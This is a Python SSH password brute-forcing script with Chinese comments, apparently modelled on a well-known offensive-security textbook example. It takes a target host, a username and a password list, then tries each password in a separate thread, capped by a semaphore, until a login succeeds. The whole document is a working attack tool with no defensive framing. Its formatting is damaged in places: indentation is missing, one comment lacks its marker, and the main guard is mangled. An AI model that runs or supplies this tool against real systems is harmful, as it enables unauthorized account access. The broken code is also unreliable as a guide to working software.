from pexpect import pxssh
import optparse
import time
from threading import *

maxConnections = 5

定义一个有界信号量BoundedSemaphore，在调用release()函数时会检查增加的计数是否超过上限

connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0

def connect(host,user,password,release):

global Found
global Fails

try:
    s = pxssh.pxssh()
    #利用pxssh类的login()方法进行ssh登录
    s.login(host,user,password)
    print ('[+] Password Found: ' + password)
    Found = True
except Exception as e:
    #SSH服务器可能被大量的连接刷爆，等待一会再连接
    if 'read_nonblocking' in str(e):
        Fails += 1
        time.sleep(5)
        #递归调用的connect()，不可释放锁
        connect(host,user,password,False)
    #显示pxssh命令提示符提取困难，等待一会再连接
    elif 'synchronize with original prompt' in str(e):
        time.sleep(1)
        #递归调用的connect()，不可释放锁
        connect(host,user,password,False)
finally:
    if release:
        #释放锁
        connection_lock.release()

def main():
parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -f <password file>')
parser.add_option('-H',dest='host',type='string',help='specify target host')
parser.add_option('-u',dest='username',type='string',help='target username')
parser.add_option('-f',dest='file',type='string',help='specify password file')
(options,args) = parser.parse_args()

if (options.host == None) | (options.username == None) | (options.file == None):
    print(parser.usage)
    exit(0)

host = options.host
username = options.username
file = options.file

fn = open(file,'r')
for line in fn.readlines():

    if Found:
        print('[*] Exiting: Password Found')
        exit(0)

    if Fails > 5:
        print('[!] Exiting: Too Many Socket Timeouts')
        exit(0)

    #加锁
    connection_lock.acquire()

    #去掉换行符，其中Windows为'\r\n'，Linux为'\n'
    password = line.strip('\r').strip('\n')
    print('[-] Testing: ' + str(password))

    #这里不是递归调用的connect()，可以释放锁
    t = Thread(target=connect,args=(host,username,password,True))
    child = t.start()

if name =='main':
main()